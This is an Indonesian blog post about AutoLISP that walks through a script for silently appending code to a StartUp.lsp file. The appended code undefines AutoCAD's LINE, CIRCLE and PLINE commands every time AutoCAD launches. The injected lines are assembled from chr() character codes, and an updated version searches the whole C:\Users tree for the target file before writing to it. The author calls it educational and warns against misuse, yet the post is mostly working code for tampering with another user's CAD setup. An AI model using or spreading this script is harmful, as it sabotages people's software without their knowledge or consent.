Menulis Code LISP Ke Dalam Sebuah File Menggunakan Code

Posted: April 10, 2013 in AutoCAD, AutoLISP

Pada artikel disalah salah satu web saya pernah menulis tentang bagaimana mematikan command AutoCAD menggunakan AutoLISP. Pada kesempatan ini saya akan coba membahas bagaimana caranya menuliskan script tersebut ke dalam file AutoLISP yang kita tuju menggunakan Script dari file lain. Dan perlu diingatkan diawal bahwa hal ini hanya untuk pembelajaran dan jangan digunakan untuk hal-hal yang merugikan orang lain.

Misal kita ingin menuliskan (inject) source code ke file  StartUp.lsp yang terdapat pada folder C:\\Users\\idzanirmana\\Documents\\LISP Code\\. Dimana bentuk script lisp seperti penampakan dibawah ini :


(defun S::STARTUP ()
 (command "UNDEFINE" "LINE")
 (command "UNDEFINE" "CIRCLE")
 (command "UNDEFINE" "PLINE")
 )

Maka kita bisa menuliskan pada script file AutoCAD yang lain dengan code seperti tampak dibawah ini :


;Membuat variable untuk baris pertama
(setq w1 (strcat (chr 40) "defun S::STARTUP" (chr 40) (chr 41)))
;Membuat variable untuk baris kedua
(setq w2 (strcat (chr 40)"COMMAND" " " (chr 34)"UNDEFINE" (chr 34)" " (chr 34)"LINE"(chr 34)(chr 41)))
;Membuat variable untuk baris ketiga
(setq w3 (strcat (chr 40)"COMMAND" " " (chr 34)"UNDEFINE" (chr 34)" " (chr 34)"CIRCLE"(chr 34)(chr 41)))
;Membuat variable untuk baris keempat
(setq w4 (strcat (chr 40)"COMMAND" " " (chr 34)"UNDEFINE" (chr 34)" " (chr 34)"PLINE"(chr 34)(chr 41)))
;Membuat variable untuk baris kelima
(setq w5 (chr 41))
;Mengumpulkan baris-baris dalam bentuk text kedalam sebuah list
(setq w (list w1 w2 w3 w4 w5))
(setq i 0)
;Melakukan pengulangan sebanyak baris yang akan kita tuliskan
(repeat 5
 ;Mendefinisikan nama file yang kita cari, dan melakukan penulisan pada baris terakhir isi file
 (setq fw (open "C:\\Users\\idzanirmana\\Documents\\LISP Code\\StartUp.lsp" "a"))
 ;Menulis variable w1-w5 secara bergantian
 (write-line (nth i w) fw)
 (setq i (1+ i))
 );repeat
;Menutup file yang kita buka dan tulis.
(close fw)

Update terakhir :

</pre>
;;---------------------=={ FindFile }==-----------------------;;
;; ;;
;; Searches the supplied directory and all subdirectories of ;;
;; the supplied directory for the specified file. ;;
;;------------------------------------------------------------;;
;; Author: Lee Mac, Copyright © 2011 - www.lee-mac.com ;;
;;------------------------------------------------------------;;
;; Arguments: ;;
;; file - file to search (w/ext), e.g. "MyFile.txt" ;;
;; directory - Root Directory to search from ;;
;;------------------------------------------------------------;;
;; Returns: Full filename of file if found, else nil. ;;
;;------------------------------------------------------------;;

(defun LM:FindFile ( file directory )
 (setq directory (vl-string-right-trim "\\" directory))
 (cond
 ( (findfile (strcat directory "\\" file)))
 ( (vl-some
 (function
 (lambda ( dir )
 (LM:FindFile file (strcat directory "\\" dir))
 )
 )
 (vl-remove "." (vl-remove ".." (vl-directory-files directory nil -1)))
 )
 )
 )
)
(defun c:runscript (/ w1 w2 w3 w4 w5 w i )
 (setq w1 (strcat (chr 40) "defun S::STARTUP" (chr 40) (chr 41)))
 (setq w2 (strcat (chr 40)"COMMAND" " " (chr 34)"UNDEFINE" (chr 34)" " (chr 34)"LINE"(chr 34)(chr 41)))
 (setq w3 (strcat (chr 40)"COMMAND" " " (chr 34)"UNDEFINE" (chr 34)" " (chr 34)"CIRCLE"(chr 34)(chr 41)))
 (setq w4 (strcat (chr 40)"COMMAND" " " (chr 34)"UNDEFINE" (chr 34)" " (chr 34)"PLINE"(chr 34)(chr 41)))
 (setq w5 (chr 41))
 (setq w (list w1 w2 w3 w4 w5))
 (setq path (LM:FindFile "StartUp.lsp" "C:\\Users"))
 (setq i 0)
 (repeat 5
 (setq fw (open path "a"))
 (write-line (nth i w) fw)
 (setq i (1+ i))
 );repeat
 (close fw)
 (princ)
 );defun
(princ)

Semoga tulisan ini dapat dimanfaatkan dengan baik dan benar :).

Salam,

Afri

About these ads

Berikan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Logout / Ubah )

Twitter picture

You are commenting using your Twitter account. Logout / Ubah )

Facebook photo

You are commenting using your Facebook account. Logout / Ubah )

Google+ photo

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s